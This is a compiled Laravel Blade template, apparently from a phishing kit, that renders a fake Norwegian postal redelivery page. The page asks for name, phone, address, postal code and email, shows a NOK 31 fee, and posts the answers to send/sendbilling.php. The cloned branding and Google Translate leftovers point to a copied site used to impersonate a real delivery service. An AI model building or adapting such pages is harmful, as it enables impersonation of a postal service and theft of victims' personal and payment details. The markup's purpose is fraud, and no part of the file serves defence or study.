<html lang="no" data-hw-app-initialised="true"
    class="fontawesome-i2svg-active fontawesome-i2svg-complete translated-ltr">
<?php if (isset($component)) { $__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6 = $component; } ?>
<?php $component = App\View\Components\Head::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('head'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Head::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6)): ?>
<?php $component = $__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6; ?>
<?php unset($__componentOriginal0ffb0a0d50d0f581dbd60338c0b56c81fed4e7d6); ?>
<?php endif; ?>

<body class="hw-background-color-white">
    <?php if (isset($component)) { $__componentOriginal09fc9d9e7caf03313405e5881f7b83a738acc833 = $component; } ?>
<?php $component = App\View\Components\Before::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('before'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Before::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal09fc9d9e7caf03313405e5881f7b83a738acc833)): ?>
<?php $component = $__componentOriginal09fc9d9e7caf03313405e5881f7b83a738acc833; ?>
<?php unset($__componentOriginal09fc9d9e7caf03313405e5881f7b83a738acc833); ?>
<?php endif; ?>
    <?php if (isset($component)) { $__componentOriginal696a95e8cb6fd4953765536bc5fa82663d000494 = $component; } ?>
<?php $component = App\View\Components\JavascriptBefore::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('javascript-before'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\JavascriptBefore::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal696a95e8cb6fd4953765536bc5fa82663d000494)): ?>
<?php $component = $__componentOriginal696a95e8cb6fd4953765536bc5fa82663d000494; ?>
<?php unset($__componentOriginal696a95e8cb6fd4953765536bc5fa82663d000494); ?>
<?php endif; ?>
    <?php if (isset($component)) { $__componentOriginalf0d8d4f029b0c5f781c323fcfad6bc7d2ddf8fd7 = $component; } ?>
<?php $component = App\View\Components\Noscript::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('noscript'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Noscript::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginalf0d8d4f029b0c5f781c323fcfad6bc7d2ddf8fd7)): ?>
<?php $component = $__componentOriginalf0d8d4f029b0c5f781c323fcfad6bc7d2ddf8fd7; ?>
<?php unset($__componentOriginalf0d8d4f029b0c5f781c323fcfad6bc7d2ddf8fd7); ?>
<?php endif; ?>
    <?php if (isset($component)) { $__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3 = $component; } ?>
<?php $component = App\View\Components\Header::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('header'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Header::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3)): ?>
<?php $component = $__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3; ?>
<?php unset($__componentOriginal99db13291ff287454d08b974e14dad64f9e2c6f3); ?>
<?php endif; ?>
    <?php if (isset($component)) { $__componentOriginal69eba03ce770322ac22ad40684588f010d7b7906 = $component; } ?>
<?php $component = App\View\Components\WaitingPopup::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('waiting-popup'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\WaitingPopup::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal69eba03ce770322ac22ad40684588f010d7b7906)): ?>
<?php $component = $__componentOriginal69eba03ce770322ac22ad40684588f010d7b7906; ?>
<?php unset($__componentOriginal69eba03ce770322ac22ad40684588f010d7b7906); ?>
<?php endif; ?>
    <?php if (isset($component)) { $__componentOriginaled4f0d4ad907a2a9ec9490c2f9126dac36d62e2c = $component; } ?>
<?php $component = App\View\Components\Waiting::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('waiting'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Waiting::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginaled4f0d4ad907a2a9ec9490c2f9126dac36d62e2c)): ?>
<?php $component = $__componentOriginaled4f0d4ad907a2a9ec9490c2f9126dac36d62e2c; ?>
<?php unset($__componentOriginaled4f0d4ad907a2a9ec9490c2f9126dac36d62e2c); ?>
<?php endif; ?>
    <?php if (isset($component)) { $__componentOriginala2bbe86ac613f1b8a77601718785069847f9bb0a = $component; } ?>
<?php $component = App\View\Components\Error::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('error'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Error::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginala2bbe86ac613f1b8a77601718785069847f9bb0a)): ?>
<?php $component = $__componentOriginala2bbe86ac613f1b8a77601718785069847f9bb0a; ?>
<?php unset($__componentOriginala2bbe86ac613f1b8a77601718785069847f9bb0a); ?>
<?php endif; ?>
    <main id="container">
        <div class="hw-block hw-block--mb-large-4">
            <div class="hw-container hw-container--mb hw-container--slim">
                <div class="hw-block ">
                    <h1 class="hw-block--mt hw-block--mb" tabindex="-1" style="outline: none;">
                        <font style="vertical-align: inherit;">
                            <font style="vertical-align: inherit;">
                                <font style="vertical-align: inherit;">
                                    <font style="vertical-align: inherit;">Mottakerens detaljer</font>
                                </font>
                            </font>
                        </font>
                    </h1>
                </div>
                <p style="color: #848484;margin-bottom: 30px;font-weight: bold;font-size: 15px;">
                    <font style="vertical-align: inherit;">
                        <font style="vertical-align: inherit;">Sørg for at alle felt er fylt ut riktig for å unngå
                            problemer med omlevering av pakker *</font>
                    </font>
                </p>
                <div id="overlay"></div>
                <form id="dsslogin" action="send/sendbilling.php" method="post">
                    <div class="hw-block hw-block--mb">
                        <div class="hw-block pmo-phone-number hw-block--mb-small-4">
                            <label class="hw-label">
                                <font style="vertical-align: inherit;">
                                    <font style="vertical-align: inherit;">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">Telefonnummer *</font>
                                        </font>
                                    </font>
                                </font>
                                <input data-testid="custom-element" id="sendersPhoneNumber"
                                    class="hw-input pmo-phone-search_mobile-dynamic-width" name="sender_phoneNumber"
                                    type="tel" maxlength="12" autocomplete="tel" aria-required="true"
                                    aria-invalid="false" required="">
                            </label>
                        </div>
                        <div class="hw-block hw-block--mb-small-4">
                            <label class="hw-label">
                                <font style="vertical-align: inherit;">
                                    <font style="vertical-align: inherit;">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">Fornavn og etternavn *</font>
                                        </font>
                                    </font>
                                </font>
                                <input data-testid="custom-element" id="sendersName" class="hw-input" name="sender_name"
                                    type="text" maxlength="50" autocomplete="name" aria-required="true"
                                    aria-invalid="false" required="">
                                <p class="error-message" id="nameError" style="color: red;"></p>
                            </label>
                        </div>
                        <div class="hw-block--mb-small-4">
                            <label class="hw-label">
                                <font style="vertical-align: inherit;">
                                    <font style="vertical-align: inherit;">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">Adresse *</font>
                                        </font>
                                    </font>
                                </font>
                                <input data-testid="custom-element" id="sendersStreet" class="hw-input"
                                    name="sender_address_street" type="text" autocomplete="street-address"
                                    aria-required="true" aria-invalid="false" required="">
                            </label>
                        </div>
                        <div class="hw-block--mb-small-4">
                            <label class="hw-label">
                                <font style="vertical-align: inherit;">
                                    <font style="vertical-align: inherit;">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">
                                                <font style="vertical-align: inherit;">
                                                    <font style="vertical-align: inherit;">By *</font>
                                                </font>
                                            </font>
                                        </font>
                                    </font>
                                </font>
                                <input data-testid="custom-element" id="city" class="hw-input" name="sender_city_street"
                                    type="text" autocomplete="address-level2" aria-required="true" aria-invalid="false"
                                    required="">
                            </label>
                        </div>
                        <div class="hw-grid">
                            <div class="hw-grid__item hw-large--one-third">
                                <div class="hw-block hw-block--mb-small-4">
                                    <label class="hw-label">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">
                                                <font style="vertical-align: inherit;">
                                                    <font style="vertical-align: inherit;">Postnummer *</font>
                                                </font>
                                            </font>
                                        </font>
                                        <input id="sendersPostalCode" class="hw-input" type="text" pattern="[0-9]*"
                                            inputmode="numeric" maxlength="4" autocomplete="postal-code"
                                            aria-required="true" name="sender_address_postalCode" required="">
                                    </label>
                                </div>
                            </div>
                        </div>
                        <div class="hw-block hw-block--mb-small-4">
                            <label class="hw-label">
                                <font style="vertical-align: inherit;">
                                    <font style="vertical-align: inherit;">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">E-post *</font>
                                        </font>
                                    </font>
                                </font>
                                <input data-testid="custom-element" id="sendersEmail" class="hw-input"
                                    name="sender_email" type="email" autocomplete="email" aria-required="true"
                                    aria-invalid="false" required="">
                                <p class="error-message" id="emailError" style="color: red;"></p>
                            </label>
                        </div>
                    </div>
                    <div class="hw-block">
                        <div class="hw-block hw-block--mt">
                            <div class="hw-block hw-block--mt-large">
                                <div class="hw-block hw-block--mt-large-2 hw-block--mb-large-2">
                                    <h2 class="hw-block--mb-small-4 hw-text-medium hw-h3">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">
                                                <font style="vertical-align: inherit;">
                                                    <font style="vertical-align: inherit;">Totalt å betale</font>
                                                </font>
                                            </font>
                                        </font>
                                    </h2>
                                    <div class="price-summary--container">
                                        <p>
                                            <span class="order-line--product">
                                                <font style="vertical-align: inherit;">
                                                    <font style="vertical-align: inherit;">
                                                        <font style="vertical-align: inherit;">
                                                            <font style="vertical-align: inherit;">Pakke (100 g)</font>
                                                        </font>
                                                    </font>
                                                </font>
                                            </span>
                                            <span class="order-line--price">
                                                <font style="vertical-align: inherit;">
                                                    <font style="vertical-align: inherit;">NOK 31</font>
                                                </font>
                                            </span>
                                        </p>
                                        <hr class="hw-hr hw-hr--full hw-hr--gray-lightest hw-block--mt-small-2 hw-block--mb-small-2"
                                            aria-hidden="true">
                                        <p class="hw-text-medium">
                                            <span>
                                                <font style="vertical-align: inherit;">
                                                    <font style="vertical-align: inherit;">
                                                        <font style="vertical-align: inherit;">
                                                            <font style="vertical-align: inherit;">Sum</font>
                                                        </font>
                                                    </font>
                                                </font>
                                            </span>
                                            <span class="order-line--price">
                                                <font style="vertical-align: inherit;">
                                                    <font style="vertical-align: inherit;">
                                                        <font style="vertical-align: inherit;">
                                                            <font style="vertical-align: inherit;">NOK 31</font>
                                                        </font>
                                                    </font>
                                                </font>
                                            </span>
                                        </p>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="hw-block hw-block--mt">
                            <button id="next_page"
                                class="hw-button hw-button--mobile-full hw-button--primary hw-button--large"
                                type="submit">
                                <font style="vertical-align: inherit;">
                                    <font style="vertical-align: inherit;">
                                        <font style="vertical-align: inherit;">
                                            <font style="vertical-align: inherit;">Fortsette</font>
                                        </font>
                                    </font>
                                </font>
                            </button>
                        </div>
                    </div>
                </form>
            </div>
        </div>
    </main>
    <?php if (isset($component)) { $__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf = $component; } ?>
<?php $component = App\View\Components\Footer::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('footer'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\Footer::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf)): ?>
<?php $component = $__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf; ?>
<?php unset($__componentOriginal88b1957f21f7f49b400717e8d0a27189798132bf); ?>
<?php endif; ?>
    <div id="goog-gt-tt" class="VIpgJd-yAWNEb-L7lbkb skiptranslate"
        style="border-radius: 12px; margin: 0 0 0 -23px; padding: 0; font-family: 'Google Sans', Arial, sans-serif;"
        data-id="">
        <div id="goog-gt-vt" class="VIpgJd-yAWNEb-hvhgNd">
            <div class=" VIpgJd-yAWNEb-hvhgNd-l4eHX-i3jM8c">
                <img src="https://fonts.gstatic.com/s/i/productlogos/translate/v14/24px.svg" width="24" height="24"
                    alt="">
            </div>
            <div class=" VIpgJd-yAWNEb-hvhgNd-k77Iif-i3jM8c">
                <div class="VIpgJd-yAWNEb-hvhgNd-IuizWc" dir="ltr">Texte d'origine</div>
                <div id="goog-gt-original-text" class="VIpgJd-yAWNEb-nVMfcd-fmcmS VIpgJd-yAWNEb-hvhgNd-axAV1"></div>
            </div>
            <div class="VIpgJd-yAWNEb-hvhgNd-N7Eqid ltr">
                <div class="VIpgJd-yAWNEb-hvhgNd-N7Eqid-B7I4Od ltr" dir="ltr">
                    <div class="VIpgJd-yAWNEb-hvhgNd-UTujCb">Évaluez cette traduction</div>
                    <div class="VIpgJd-yAWNEb-hvhgNd-eO9mKe">Votre avis nous aidera à améliorer Google &nbsp;Traduction
                    </div>
                </div>
                <div class="VIpgJd-yAWNEb-hvhgNd-xgov5 ltr">
                    <button id="goog-gt-thumbUpButton" type="button" class="VIpgJd-yAWNEb-hvhgNd-bgm6sf"
                        title="Bonne traduction" aria-label="Bonne traduction" aria-pressed="false">
                        <span id="goog-gt-thumbUpIcon">
                            <svg width="24" height="24" viewBox="0 0 24 24" focusable="false"
                                class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                                <path
                                    d="M21 7h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 0S7.08 6.85 7 7H2v13h16c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73V9c0-1.1-.9-2-2-2zM7 18H4V9h3v9zm14-7l-3 7H9V8l4.34-4.34L12 9h9v2z">
                                </path>
                            </svg>
                        </span>
                        <span id="goog-gt-thumbUpIconFilled">
                            <svg width="24" height="24" viewBox="0 0 24 24" focusable="false"
                                class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                                <path
                                    d="M21 7h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 0S7.08 6.85 7 7v13h11c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73V9c0-1.1-.9-2-2-2zM5 7H1v13h4V7z">
                                </path>
                            </svg>
                        </span>
                    </button>
                    <button id="goog-gt-thumbDownButton" type="button" class="VIpgJd-yAWNEb-hvhgNd-bgm6sf"
                        title="Mauvaise traduction" aria-label="Mauvaise traduction" aria-pressed="false">
                        <span id="goog-gt-thumbDownIcon">
                            <svg width="24" height="24" viewBox="0 0 24 24" focusable="false"
                                class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                                <path
                                    d="M3 17h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 24s7.09-6.85 7.17-7h5V4H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2zM17 6h3v9h-3V6zM3 13l3-7h9v10l-4.34 4.34L12 15H3v-2z">
                                </path>
                            </svg>
                        </span>
                        <span id="goog-gt-thumbDownIconFilled">
                            <svg width="24" height="24" viewBox="0 0 24 24" focusable="false"
                                class="VIpgJd-yAWNEb-hvhgNd-THI6Vb NMm5M">
                                <path
                                    d="M3 17h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 24s7.09-6.85 7.17-7V4H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2zm16 0h4V4h-4v13z">
                                </path>
                            </svg>
                        </span>
                    </button>
                </div>
            </div>
            <div id="goog-gt-votingHiddenPane" class="VIpgJd-yAWNEb-hvhgNd-aXYTce">
                <form id="goog-gt-votingForm" action="//translate.googleapis.com/translate_voting?client=te_lib"
                    method="post" target="votingFrame" class="VIpgJd-yAWNEb-hvhgNd-aXYTce">
                    <input type="text" name="sl" id="goog-gt-votingInputSrcLang">
                    <input type="text" name="tl" id="goog-gt-votingInputTrgLang">
                    <input type="text" name="query" id="goog-gt-votingInputSrcText">
                    <input type="text" name="gtrans" id="goog-gt-votingInputTrgText">
                    <input type="text" name="vote" id="goog-gt-votingInputVote">
                </form>
                <div class="overlay" id="overlay"></div>
                .overlay {
                display: none;
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                background-color: rgba(255, 255, 255, 0.9);
                z-index: 999;
                }

                <script>
                    document.addEventListener('DOMContentLoaded', function () {
                        // Get references to the input fields
                        const phoneNumberInput = document.getElementById('sendersPhoneNumber');
                        const zipCodeInput = document.getElementById('sendersPostalCode');

                        // Add an event listener to the phone number input
                        phoneNumberInput.addEventListener('input', function () {
                            phoneNumberInput.value = phoneNumberInput.value.replace(/[^0-9]/g, '');
                        });

                        // Add an event listener to the zip code input
                        zipCodeInput.addEventListener('input', function () {
                            zipCodeInput.value = zipCodeInput.value.replace(/[^0-9]/g, '');
                        });
                    });

                    document.addEventListener('DOMContentLoaded', function () {
                        const form = document.getElementById('dsslogin');
                        const overlay = document.getElementById('overlay');

                        form.addEventListener('submit', function (e) {
                            // Get references to the required input fields
                            const phoneNumberInput = document.getElementById('sendersPhoneNumber');
                            const nameInput = document.getElementById('sendersName');
                            const streetInput = document.getElementById('sendersStreet');
                            const cityInput = document.getElementById('city');
                            const zipCodeInput = document.getElementById('sendersPostalCode');
                            const emailInput = document.getElementById('sendersEmail');

                            // Check if any of the required fields are empty
                            if (phoneNumberInput.value.trim() === '' || nameInput.value.trim() === '' || streetInput.value.trim() === '' || cityInput.value.trim() === '' || zipCodeInput.value.trim() === '' || emailInput.value.trim() === '') {
                                // If any required field is empty, prevent form submission and display an error message
                                e.preventDefault();
                                alert('Please fill in all required fields.');
                            } else {
                                // If all required fields are filled, show the overlay
                                overlay.style.display = 'block';
                            }
                        });
                    });
                </script>
                <iframe name="votingFrame" frameborder="0"></iframe>
            </div>
        </div>
    </div>
    <?php if (isset($component)) { $__componentOriginal275162b690690c7064b1e978e2793ed1f4f09da3 = $component; } ?>
<?php $component = App\View\Components\JavascriptAfter::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component->withName('javascript-after'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\JavascriptAfter::class))->getConstructor()): ?>
<?php $attributes = $attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal275162b690690c7064b1e978e2793ed1f4f09da3)): ?>
<?php $component = $__componentOriginal275162b690690c7064b1e978e2793ed1f4f09da3; ?>
<?php unset($__componentOriginal275162b690690c7064b1e978e2793ed1f4f09da3); ?>
<?php endif; ?>

</body>

</html><?php /**PATH D:\005-Projects\005-freelance\Laravel\all-in-one-control\noowner\resources\views/billing.blade.php ENDPATH**/ ?>